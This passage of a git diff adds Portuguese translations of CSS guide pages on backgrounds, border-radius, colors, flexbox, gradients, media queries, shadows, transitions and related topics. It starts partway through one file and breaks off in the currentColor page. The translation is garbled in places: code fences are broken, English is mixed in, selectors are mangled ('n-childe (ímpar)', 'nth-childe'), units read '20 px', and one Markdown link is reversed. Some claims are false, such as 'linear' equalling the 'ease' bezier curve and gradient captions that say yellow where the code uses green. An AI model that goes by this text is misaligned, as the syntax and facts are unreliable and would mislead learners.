+Você pode passar todas as propriedades em um `background` super-propriedade:
+
+```css
+   background: #F00 url("GitHub-Mark.png") no-repeat fixed left bottom; 
+```
+
+Quando você usa a propriedade abreviada, você deve respeitar esta ordem:
+
+1.  Cor de fundo
+2.  Imagem de fundo
+3.  Fundo de repetição
+4.  Anexo de fundo
+5.  Posição de fundo
+
+Não importa se uma propriedade está faltando, desde que você respeite a ordem:
+
+```css
+   background: url("GitHub-Mark.png") no-repeat left bottom; 
+```
+
+Isso funcionará mesmo se a cor e o anexo estiverem faltando.
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-borders-rounded-corners/index.md b/client/src/guide/portuguese/css/css3-borders-rounded-corners/index.md
new file mode 100644
index 0000000000..1186cea771
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-borders-rounded-corners/index.md
@@ -0,0 +1,67 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: Propriedade de raio de borda CSS3
+---
+## Propriedade de raio de borda CSS3
+
+Com CSS3, você pode dar qualquer elemento "cantos arredondados", usando a propriedade `border-radius` . O valor pode estar em qualquer unidade de comprimento CSS válida.
+
+```css
+  .rounded-corners { 
+    border-radius: 20px; 
+  } 
+ 
+  .circle { 
+    border-radius: 50%; 
+  } 
+```
+
+![exemplos](https://github.com/kaithrendyle/guide-photos/blob/master/rounded-circle.png?raw=true)
+
+**Nota:** A propriedade `border-radius` é, na verdade, uma propriedade abreviada para as propriedades `border-top-left-radius` , `border-top-right-radius` , `border-bottom-right-radius` e `border-bottom-left-radius` .
+
+Se apenas um valor for fornecido, o raio da borda será o mesmo para todos os quatro cantos, como nos exemplos acima. Mas você também tem a opção de especificar valores diferentes para cada canto.
+
+```css
+.new-shape { 
+  border-radius: 20px 50px 5px 0; /* top left, top right, bottom right, bottom left */ 
+ } 
+```
+
+Se apenas dois valores forem fornecidos, o primeiro valor será aplicado ao canto superior esquerdo e inferior direito, e o segundo valor será aplicado ao canto superior direito e inferior esquerdo.
+
+```css
+.leaf-shape { 
+  border-radius: 0 50%; 
+ } 
+```
+
+Se três valores forem definidos, o primeiro aplica-se novamente ao raio superior esquerdo, o segundo valor indica superior direito e inferior esquerdo, deixando o terceiro valor para indicar o canto inferior direito.
+
+```css
+.odd-shape { 
+  border-radius: 0 20px 50%; 
+ } 
+```
+
+![exemplos](https://github.com/kaithrendyle/guide-photos/blob/master/odd-shapes.png?raw=true)
+
+O arredondamento de um canto não precisa ser perfeitamente simétrico. Você pode especificar os raios horizontal e vertical usando uma barra ("/") para obter um canto com uma forma elíptica. \`\` \`css .elliptical-1 { border-radius: 50px / 10px; / \* raio horizontal / raio vertical \* / } .elliptical-2 { border-radius: 10px / 50px; }
+```
+![examples](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-basic.png?raw=true) 
+ 
+ Since only one pair of values is given in the above examples, all four corners are the same. But, of course, if you want a more complex shape, you may supply up to four values for the horizontal radiuses and four for the vertical radiuses. 
+```
+
+css .elliptical-3 { border-radius: 50px 20px 50px 20px / 20px 50px 20px 50px; / \* horizontal superior esquerdo, horizontal superior direito, horizontal inferior direito, horizontal inferior esquerdo / vertical superior esquerdo, vertical superior direito, vertical inferior direito, vertical inferior esquerdo \* / }
+```
+Notice how the shorthand above produces the same result as specifying individual properties below. Be aware that when corners are set individually the values are space-separated instead of slash-separated. 
+```
+
+css .elliptical-4 { border-top-left-radius: 50px 20px; / \* raio horizontal, raio vertical \* / border-top-right-radius: 20 px 50 px; border-bottom-right-radius: 50 px 20 px; border-bottom-left-radius: 20px 50px; } \`\` \` ![exemplos](https://github.com/kaithrendyle/guide-photos/blob/master/elliptical-advance.png?raw=true)
+
+### Mais Informações:
+
+*   Truques CSS: [Truques CSS](https://css-tricks.com/almanac/properties/b/border-radius/)
+*   Documentação [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   Suporte ao Navegador: [caniuse](http://caniuse.com/#search=border-radius)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-colors/index.md b/client/src/guide/portuguese/css/css3-colors/index.md
new file mode 100644
index 0000000000..d1c710031a
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-colors/index.md
@@ -0,0 +1,82 @@
+---
+title: CSS3 Colors
+localeTitle: CSS3 Colors
+---
+## CSS3 Colors
+
+Cores em CSS são usadas para colorir elementos em nossas páginas da web. Há muitas maneiras de atribuir cores aos elementos. Você pode usar os nomes reais das cores, seus valores RGB ou os valores hexadecimais. Em CSS3, o hsl (matiz-saturação-luminosidade) foi adicionado à especificação.
+
+### Nomes de cores
+
+Atualmente, existem 140 nomes de cores suportados em HTML, que podem ser atribuídos em regras de CSS apenas digitando seu nome. Por exemplo:
+
+### Sintaxe
+```
+p { 
+  color: green; 
+ } 
+```
+
+Esta regra muda toda a cor da fonte para todos
+
+elementos para verde. Para a lista completa de 140 cores, veja aqui: https://www.w3schools.com/colors/colors\_names.asp
+
+### Valores RGB
+
+RGB significa "Vermelho", "Verde" e "Azul" e também podemos atribuir cores digitando seus valores RGB em nossas regras. Um valor RGB seria assim: rgb (255,0,0), onde cada número define quanto de cada cor estará na mixagem final.
+
+Os valores variam de 0 a 255 e, no nosso exemplo, vemos que apenas o primeiro valor é 255, enquanto os outros dois são definidos como 0. Isso significa que há apenas vermelho em nosso valor e o respectivo elemento será colorido em vermelho. Um valor RGB de (0, 0, 0) daria preto e um valor de (255, 255, 255) daria branco.
+
+É impossível tentar memorizar cada código de cores e, por esse motivo, há inúmeras ferramentas on-line para escolher as cores desejadas para seus projetos. Por exemplo: https://www.w3schools.com/colors/colors\_picker.asp ou http://htmlcolorcodes.com/color-picker/.
+
+```css
+p { 
+  color: rgb(0, 255, 0); 
+ } 
+```
+
+Essa regra altera a cor da fonte de todos os elementos p para verde, como acima.
+
+### Valores Hexadecimais
+
+Valores hexadecimais são outra forma de definir cores em CSS e funcionam de forma bastante semelhante aos valores RGB.
+
+Um código hexadecimal aleatório seria o seguinte: `#29432b` , em que os dois primeiros caracteres após o hash representam a quantidade de RED na mistura, os dois segundos representam a quantidade de Green e os dois últimos representam a quantidade de Blue.
+
+Os valores de `#000000` e `#ffffff` significam preto e branco, respectivamente. Você pode encontrar as cores hexadecimais específicas necessárias usando as mesmas ferramentas mencionadas para os valores RGB.
+
+### Sintaxe
+```
+p { 
+  color: #00fe00; 
+ } 
+```
+
+Essa regra novamente altera a cor da fonte de todos os elementos p para verde.
+
+### HSL
+
+O HSL possui três valores. O primeiro é **Hue,** que é medido em graus. Então 0 (ou 360) representa cor vermelha, em 120 é verde e 240 é azul. O segundo é **Saturação,** que tem um valor percentual com variação de 0 a 100%. O terceiro é a **leveza,** que também tem um valor percentual entre 0 e 100%. 0% é preto escuro, 50% médio, 100% é branco.
+
+### Sintaxe
+```
+p { 
+  color: hsl(0, 100%, 50%); 
+ } 
+```
+
+### Saída
+
+[JSfiddle](https://jsfiddle.net/qcw2n145/)
+
+### Por que usar valores RGB ou HEX?
+
+Nomes de cores levam apenas 140 valores, enquanto os valores RGB e HEX têm 16.777.216 combinações possíveis. Portanto, se você quiser que seus projetos sejam exatamente como você os imaginou, você deve usar as duas últimas opções e manter os valores de nomes de cores para fins de testes e simulações.
+
+#### Mais Informações:
+
+[w3schools](https://www.w3schools.com/colors/default.asp)
+
+[Documentação do rascunho W3](https://drafts.csswg.org/css-color-3/#color)
+
+[MDN | Cores CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-flexible-box/index.md b/client/src/guide/portuguese/css/css3-flexible-box/index.md
new file mode 100644
index 0000000000..608960afd6
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-flexible-box/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS3 Flexible Box
+localeTitle: Caixa Flexível CSS3
+---
+## Caixa Flexível CSS3
+
+O modelo Flexbox oferece uma maneira eficiente de layout, alinhamento e distribuição de espaço entre os elementos do documento, mesmo quando a viewport e o tamanho dos elementos são dinâmicos ou desconhecidos.
+
+A ideia mais importante por trás do modelo Flexbox é que o contêiner pai pode alterar a largura / altura / ordem dos itens para melhor preencher o espaço disponível. Um contêiner de flexão expande os itens para preencher o espaço livre disponível ou os reduz para evitar estouro. 1
+
+#### Uso básico
+
+O Flexbox pode ser usado para centralizar qualquer quantidade de elementos dados dentro de um elemento. Um exemplo básico disso é o seguinte código:
+
+`css .center-elements-inside { display: flex; flex-direction: row; justify-content: center; }`
+
+Vamos quebrar este exemplo. Primeiro, definimos a propriedade de exibição como "flexível" para podermos aplicar nossas propriedades de flexbox. Em seguida, declaramos a maneira como o flexbox lidará com nossos elementos. Isso pode ser em uma linha ou em uma coluna. Configurá-lo para linha alinhará os elementos horizontais dentro do elemento. A coluna irá alinhá-los na vertical.
+
+Agora vamos dar uma breve olhada em "justify-content". Esta propriedade declara como os elementos são distribuídos dentro do elemento pai. Nós escolhemos o valor "center". Isso significa que todos os elementos dentro desse elemento serão centralizados.
+
+#### Mais Informações:
+
+Para obter uma compreensão completa do Flexbox, leia [Entendendo](https://medium.freecodecamp.org/understanding-flexbox-everything-you-need-to-know-b4013d4dc9af) o Flexbox. [Tudo o que você precisa saber](https://medium.freecodecamp.org/understanding-flexbox-everything-you-need-to-know-b4013d4dc9af) na página do FreeCodeCamp Medium.
+
+Para um guia interativo, vá até [o Guia Completo do Flexbox - Aprendendo com os Exemplos](https://medium.freecodecamp.org/the-ultimate-guide-to-flexbox-learning-through-examples-8c90248d4676)
+
+Ambos são ótimos recursos de Ohans Emmanuel.
+
+Ainda outro grande guia visual que é detalhado, mas fácil de seguir, pode ser encontrado no [Guia do Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) por [CSS-Tricks.](https://css-tricks.com)
+
+### Fontes
+
+1.  [Coyier, Chris. "Um Guia Completo para o Flexbox" CSS-Tricks. Última atualização em 28 de setembro de 2017.](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-gradients/index.md b/client/src/guide/portuguese/css/css3-gradients/index.md
new file mode 100644
index 0000000000..ab65f8aaa3
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-gradients/index.md
@@ -0,0 +1,136 @@
+---
+title: CSS3 Gradients
+localeTitle: Gradientes CSS3
+---
+## Gradientes CSS3
+
+Os gradientes CSS3 permitem exibir transições suaves entre duas ou mais cores especificadas.
+
+Antes, você tinha que usar imagens para esses efeitos. No entanto, usando gradientes CSS3, você pode reduzir o tempo de download e o uso de largura de banda. Além disso, os elementos com gradientes parecem melhores quando ampliados, porque o gradiente é gerado pelo navegador.
+
+CSS3 define dois tipos de gradientes:
+
+*   Gradientes Lineares (desce / sobe / esquerda / direita / diagonalmente)
+*   Gradientes radiais (definidos pelo centro)
+
+### Gradientes Lineares CSS3
+
+Para criar um gradiente linear, você deve definir pelo menos duas paradas de cor. As paradas de cores são as cores que você deseja renderizar transições suaves entre. Você também pode definir um ponto de partida e uma direção (ou um ângulo) junto com o efeito de gradiente.
+
+#### Sintaxe
+```
+background: linear-gradient(direction, color-stop1, color-stop2, ...); 
+```
+
+##### Gradiente linear - de cima para baixo (este é o padrão)
+
+O exemplo a seguir mostra um gradiente linear que começa no topo. Começa vermelho, fazendo a transição para amarelo: ![gradiente linear padrão](https://i.imgur.com/2uGfleD.jpg)
+
+#### Exemplo
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Top to Bottom</h3> 
+ <p>This linear gradient starts at the top. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![gradiente linear padrão](https://i.imgur.com/CvtXCMd.jpg)
+
+##### Gradiente Linear - da esquerda para a direita
+
+O exemplo a seguir mostra um gradiente linear que começa a partir da esquerda. Começa vermelho, fazendo a transição para amarelo: ![esquerda para a direita](https://i.imgur.com/e4dRvZR.jpg)
+
+#### Exemplo
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left, red , green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to right, red , green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Left to Right</h3> 
+ <p>This linear gradient starts at the left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![esquerda para a direita](https://i.imgur.com/k4FSyXz.jpg)
+
+#### Gradiente Linear - Diagonal
+
+Você pode fazer um gradiente na diagonal, especificando as posições iniciais horizontal e vertical.
+
+O exemplo a seguir mostra um gradiente linear que começa no canto superior esquerdo (e vai para o canto inferior direito). Começa vermelho, fazendo a transição para amarelo:
+
+![diagonal](https://i.imgur.com/YvtbUBH.jpg)
+
+#### Exemplo
+```
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <style> 
+ #grad1 { 
+    height: 200px; 
+    background: red; /* For browsers that do not support gradients */ 
+    background: -webkit-linear-gradient(left top, red, green); /* For Safari 5.1 to 6.0 */ 
+    background: -o-linear-gradient(bottom right, red, green); /* For Opera 11.1 to 12.0 */ 
+    background: -moz-linear-gradient(bottom right, red, green); /* For Firefox 3.6 to 15 */ 
+    background: linear-gradient(to bottom right, red, green); /* Standard syntax (must be last) */ 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <h3>Linear Gradient - Diagonal</h3> 
+ <p>This linear gradient starts at top left. It starts red, transitioning to yellow:</p> 
+ 
+ <div id="grad1"></div> 
+ 
+ <p><strong>Note:</strong> Internet Explorer 9 and earlier versions do not support gradients.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+![diagonal-exp](https://i.imgur.com/8gKRhAp.jpg)
+
+#### Mais Informações:
+
+[Documentação do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient) || [w3schools](https://www.w3schools.com/css/css3_gradients.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-grid-layout/index.md b/client/src/guide/portuguese/css/css3-grid-layout/index.md
new file mode 100644
index 0000000000..fbcd3d1e9d
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-grid-layout/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid Layout
+localeTitle: Layout de grade CSS
+---
+## Layout de grade CSS
+
+CSS Grid Layout é o sistema de layout mais poderoso disponível em CSS. É um sistema bidimensional, o que significa que ele pode lidar com colunas e linhas, ao contrário do flexbox, que é basicamente um sistema unidimensional. Embora o Grid Layout não seja totalmente suportado por todos os navegadores, é a maneira mais avançada e conveniente de criar layouts de página.
+
+#### Mais Informações:
+
+Para mais informações, leia [Um guia completo para layout de grade CSS](http://chris.house/blog/a-complete-guide-css-grid-layout/) por Chris House.
+
+Mais informações sobre o suporte ao navegador podem ser lidas em [https://caniuse.com](https://caniuse.com/#feat=css-grid) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-media-queries/index.md b/client/src/guide/portuguese/css/css3-media-queries/index.md
new file mode 100644
index 0000000000..f07eab9ecc
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-media-queries/index.md
@@ -0,0 +1,54 @@
+---
+title: CSS3 Media Queries
+localeTitle: Consultas de mídia CSS3
+---
+## Consultas de mídia CSS3
+
+Consultas de mídia permitem que você tenha estilos diferentes para diferentes dispositivos / tamanhos de tela. Sua introdução em CSS3 facilitou bastante a construção de páginas responsivas.
+
+A melhor abordagem ao projetar um site responsivo é pensar primeiro em dispositivos móveis; o que significa que você cria sua página começando com o design e o conteúdo da versão móvel. Você pode pensar que com alguns tamanhos escalonáveis ​​(%, vw ou vh), sua página se adaptará perfeitamente a qualquer dispositivo. Mas isso não acontecerá. Talvez para algum design muito básico, mas certamente não para páginas mais comuns ou complexas!
+
+Ao projetar sua página para dispositivos menores, você se concentrará no conteúdo principal. Em uma tela maior, você terá que readaptar alguns tamanhos de fonte, margens, paddings e assim por diante, a fim de manter seu site confortável e legível, mas você também vai querer / precisa adicionar mais conteúdo, os que você não julgar fundamental e preencha o espaço criado pelo tamanho da tela.
+
+O processo de pensamento deve ser:
+
+1.  Qual conteúdo para mostrar?
+2.  Como layout?
+3.  Tamanho?
+
+### A sintaxe básica
+
+```css
+    @media only screen and (min-width: 768px) { 
+      p {padding: 30px;} 
+    } 
+```
+
+A tag `p` terá um preenchimento de 30px assim que a tela atingir uma largura mínima de 768px.
+
+### A sintaxe AND
+
+```css
+  @media only screen and (min-height: 768px) and (orientation: landscape) { 
+    p {padding: 30px;} 
+  } 
+```
+
+A tag `p` terá um espaçamento de 30px assim que a tela atingir uma altura mínima de 768px e sua orientação for paisagem.
+
+### A sintaxe OR
+
+```css
+    @media only screen and (min-width: 768px), (min-resolution: 150dpi) { 
+      p {padding: 30px;} 
+    } 
+```
+
+A tag `p` terá um preenchimento de 30px assim que a tela atingir uma largura mínima de 768px ou sua resolução atingir um mínimo de 150dpi.
+
+### Mais Informações
+
+*   [MDN - consultas de mídia](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+*   [Escolas W3 - regra @media](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [Truques CSS Atril](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   \[https://alistapart.com/article/responsive-web-design\](Ethan Marcotte A List Apart Atrícula em Web Design Responsivo)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-multiple-columns/index.md b/client/src/guide/portuguese/css/css3-multiple-columns/index.md
new file mode 100644
index 0000000000..3e8972eae3
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-multiple-columns/index.md
@@ -0,0 +1,24 @@
+---
+title: CSS3 Multiple Columns
+localeTitle: CSS3 Múltiplas Colunas
+---
+## CSS3 Múltiplas Colunas
+
+O **layout** de várias colunas do CSS estende o modo de _layout de bloco_ para permitir a fácil definição de várias colunas de texto. As pessoas têm dificuldade em ler o texto se as linhas forem muito longas; Se demorar muito para os olhos se moverem do fim da linha até o começo da próxima, eles perdem a noção de qual linha eles estavam. Portanto, para aproveitar ao máximo uma tela grande, os autores devem ter colunas de texto de largura limitada colocadas lado a lado, como fazem os jornais.
+
+Infelizmente, isso é impossível de se fazer com CSS e HTML, sem forçar quebras de coluna em posições fixas ou restringir severamente a marcação permitida no texto, ou usar scripts heróicos. Essa limitação é resolvida adicionando novas propriedades CSS para estender o modo tradicional de layout de bloco.
+
+Existem várias propriedades que permitem personalizar o layout de várias colunas:
+
+*   contagem de colunas
+*   lacuna de coluna
+*   estilo de regra de coluna
+*   coluna-regra-largura
+*   coluna-regra-cor
+*   regra de coluna
+*   intervalo de coluna
+*   largura da coluna
+
+#### Mais Informações:
+
+[Este é um ótimo artigo](https://css-tricks.com/almanac/properties/c/columns/) para ler mais sobre CSS3 Multiple Columns
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-nth-child-selector/index.md b/client/src/guide/portuguese/css/css3-nth-child-selector/index.md
new file mode 100644
index 0000000000..3a23489052
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-nth-child-selector/index.md
@@ -0,0 +1,44 @@
+---
+title: CSS3 Nth Child Selector
+localeTitle: CSS3 Nth Child Selector
+---
+## CSS3 Nth Child Selector
+
+O seletor `nth-child` é uma classe css psuedo que usa um padrão para combinar um ou mais elementos em relação à sua posição entre irmãos.
+
+## Sintaxe
+
+\`\` \`css a: nth-child (pattern) { / \* Css vai aqui \* / }
+```
+### Pattern 
+ 
+ The patterns accepted by `nth-child` can come in the form of keywords or an equation of the form An+B. 
+ 
+ #### Keywords 
+ 
+ ##### Odd 
+ 
+ Odd returns all odd elements of a given type. 
+```
+
+css a: n-childe (ímpar) { / \* CSS vai aqui \* / }
+```
+##### Even 
+ 
+ Even returns all even elements of a given type. 
+```
+
+css a: n-childe (par) { / \* CSS vai aqui \* / }
+```
+#### An+B 
+ 
+ Returns all elements matching the equation An+B for every positive integer value of n (in addition to 0). 
+ 
+ For example, the following will match every 3rd anchor element: 
+```
+
+css a: nth-childe (3n) { / \* CSS vai aqui \* / } \`\` \`
+
+### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Anth-child) [Truques CSS - nth seletor filho](https://css-tricks.com/almanac/selectors/n/nth-child/) [Truques de CSS - enésimo testador de crianças](https://css-tricks.com/examples/nth-child-tester/) [W3Scools - nth seletor filho](https://www.w3schools.com/cssref/sel_nth-child.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-opacity-property/index.md b/client/src/guide/portuguese/css/css3-opacity-property/index.md
new file mode 100644
index 0000000000..8c18021400
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-opacity-property/index.md
@@ -0,0 +1,36 @@
+---
+title: CSS3 Opacity Property
+localeTitle: Propriedade de Opacidade CSS3
+---
+## Propriedade de Opacidade CSS3
+
+`opacity` permite controlar a transparência de um elemento em uma escala de `0` a `1` .
+
+Se você definir a propriedade de um elemento como `0` , será transparente. Se você definir para `1` , será opaco.
+
+Definindo um elemento para `opacity: 0;` não o remove da página. O elemento ainda será clicável e afetará o fluxo do conteúdo da página.
+
+```css
+.transparent { 
+    opacity: 0; 
+ } 
+ 
+ .verySeeThrough { 
+    opacity: 0.3; 
+ } 
+ 
+ .slightlySeeThrough { 
+    opacity: 0.7; 
+ } 
+ 
+ .opaque { 
+    opacity: 1; 
+ } 
+```
+
+[Este exemplo simples](https://jsfiddle.net/1ogmxaf8/1/) mostra como você pode usar a opacidade com um efeito de foco.
+
+#### Mais Informações:
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
+*   [Almanaque CSS Truques](https://css-tricks.com/almanac/properties/o/opacity/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-shadow-effects/index.md b/client/src/guide/portuguese/css/css3-shadow-effects/index.md
new file mode 100644
index 0000000000..60839629ae
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-shadow-effects/index.md
@@ -0,0 +1,86 @@
+---
+title: CSS3 Shadow Effects
+localeTitle: Efeitos de sombra CSS3
+---
+## Efeitos de sombra CSS3
+
+Com CSS3 você pode criar dois tipos de sombras: `text-shadow` (adiciona sombra ao texto) e `box-shadow` (adiciona sombra a outros elementos).
+
+### Sombra de Texto CSS3
+
+A propriedade `text-shadow` pode levar até quatro valores:
+
+*   a sombra horizontal
+*   a sombra vertical
+*   o efeito de borrão
+*   a cor
+
+##### Exemplos:
+
+*   Sombra de texto normal
+
+```css
+h1 { 
+    text-shadow: 2px 2px 5px crimson; 
+ } 
+```
+
+![Exemplo de sombra de texto normal](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow1.png)
+
+*   Efeito de texto brilhante
+
+```css
+h1 { 
+    text-shadow: 0 0 4px #00FF9C; 
+ } 
+```
+
+![Exemplo de texto brilhante](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow2.png)
+
+#### Múltiplas Sombras
+
+Para conseguir isso, você simplesmente adiciona uma vírgula entre dois (ou mais) conjuntos de valores:
+
+```css
+h1 { 
+    color: white; 
+    text-shadow: 0 0 3px #F10D58, 0 0 7px #4578D5; 
+ } 
+```
+
+![Várias sombras examaple com texto branco](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow3.png)
+
+### Sombra de Caixa CSS3
+
+A propriedade `box-shadow` pode levar até seis valores:
+
+*   (opcional) a palavra-chave `inset` (altera a sombra para uma dentro do quadro)
+*   a sombra horizontal
+*   a sombra vertical
+*   o efeito de borrão
+*   a propagação
+*   a cor
+
+##### Exemplos:
+
+```css
+.first-div { 
+    box-shadow: 1px 1px 5px 3px grey; 
+ } 
+ 
+ .second-div { 
+    box-shadow: 0 0 5px 1px lightgrey; 
+ } 
+ 
+ .third-div { 
+    box-shadow: inset 0 0 15px 5px rgba(0,0,0,0.75); 
+ } 
+```
+
+![Exemplos de sombra em caixa](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/box-shadows.png)
+
+#### Mais Informações:
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow?v=b)
+*   [Verificar o suporte do navegador](https://caniuse.com/#search=box-shadow)
+*   [Gerador de sombra de caixa CSS](https://www.cssmatic.com/box-shadow) (sinta-se livre para experimentar com sombras de caixa)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/css3-transitions/index.md b/client/src/guide/portuguese/css/css3-transitions/index.md
new file mode 100644
index 0000000000..e775f2a2e7
--- /dev/null
+++ b/client/src/guide/portuguese/css/css3-transitions/index.md
@@ -0,0 +1,123 @@
+---
+title: CSS3 Transitions
+localeTitle: Transições CSS3
+---
+## Transições CSS3
+
+O uso de CSS3 **Transitions** pode ser útil se você quiser que seu aplicativo ou sua página da Web seja mais dinâmico e bonito.
+
+De fato, as transições permitem que você altere os valores de propriedade ( `width` , `color` ,…) de forma **suave** .
+
+A propriedade de `transition` é uma propriedade abreviada para propriedade de `transition-property` , `transition-duration` `transition-timing-function` , `transition-timing-function` `transition-delay` , a sintaxe é a seguinte:
+
+```css
+transition: transition-property transition-duration transition-timing-function transition-delay 
+```
+
+Por exemplo :
+```
+transition: width 2s ease-in-out 1s; 
+```
+
+### Descrição das propriedades
+
+#### `transition-property`
+
+Especifique o **nome** da propriedade para a qual você deve aplicar uma transição:
+
+*   `background-color`
+*   `color`
+*   `width`
+*   `height`
+*   `margin`
+*   `border-radius`
+*   E assim por diante !
+
+Por exemplo :
+```
+transition-property: width; /* means the transition applies on the width */ 
+```
+
+#### `transition-duration`
+
+Especifique o **número de segundos ou milissegundos que** a transição deve **demorar** :
+
+Por exemplo :
+```
+transition-duration: 2s /* means the transition effect last 2s */ 
+```
+
+#### `transition-timing-function`
+
+Especifique a **curva** de **velocidade** do efeito de transição. Assim, você pode alterar **a velocidade da** sua **transição ao longo de sua duração** .
+
+Aqui estão os valores mais usados:
+
+*   `linear`
+*   `ease`
+*   `ease-in`
+*   `ease-out`
+*   `ease-in-out`
+*   `cubic-bezier(n, n, n, n)`
+
+Por exemplo :
+
+```css
+transition-timing-function: linear 
+```
+
+NB: Todos os valores acima são de fato específicos `cubic-bezier` . `linear` , por exemplo, é equivalente a `cubic-bezier(0.25,0.1,0.25,1)`
+
+Você pode experimentar e aprender mais sobre _Cubic Bezier_ [aqui](http://cubic-bezier.com/)
+
+#### `transition-delay`
+
+Especifique em **segundos ou milissegundos** quando a transição será **iniciada** .
+
+Por exemplo :
+```
+transition-delay: 1s /* means wait 1s before the transition effect start */ 
+```
+
+### Como usar transições?
+
+Você pode escrever uma transição de duas maneiras:
+
+#### Usando a propriedade abreviada ( `transition` )
+
+```css
+div { 
+  width: 200px; 
+  transition: all 1s ease-in-out; 
+ } 
+ 
+ div:hover { 
+  width: 300px; 
+ } 
+```
+
+#### Dando a todas as propriedades de transição um valor
+
+```css
+div { 
+  width: 200px; 
+  transition-property: width; 
+  transition-duration: 1s; 
+  transition-timing-function: ease-in-out; 
+ } 
+```
+
+NB: Ambos os exemplos são **equivalentes**
+
+### Exemplos
+
+Aqui estão algumas canetas simples contendo transições simples:
+
+*   [Transições básicas](https://codepen.io/thomlom/pen/gGqzNp)
+*   [Transições + JavaScript](https://codepen.io/thomlom/pen/JrxZKz?editors=1111)
+
+#### Mais Informações:
+
+*   [w3schools: Transições CSS3](https://www.w3schools.com/css/css3_transitions.asp)
+*   [Documentos da Web do MDN: usando transições de CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions)
+*   [DevTips: Transição CSS](https://www.youtube.com/watch?v=8kK-cA99SA0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/current-color-keyword/index.md b/client/src/guide/portuguese/css/current-color-keyword/index.md
new file mode 100644
index 0000000000..f9525dd7e7
--- /dev/null
+++ b/client/src/guide/portuguese/css/current-color-keyword/index.md
@@ -0,0 +1,88 @@
+---
+title: currentColor Keyword
+localeTitle: palavra-chave currentColor
+---
+## A palavra-chave currentColor
+
+A palavra-chave currentColor, como o nome sugere, é um valor de cor válido em CSS. Isso representa o valor da propriedade de `color` do elemento específico. Isso permite usar o valor da propriedade `color` para propriedades que não a recebem por padrão.
+
+### Suporte de Navegador
+
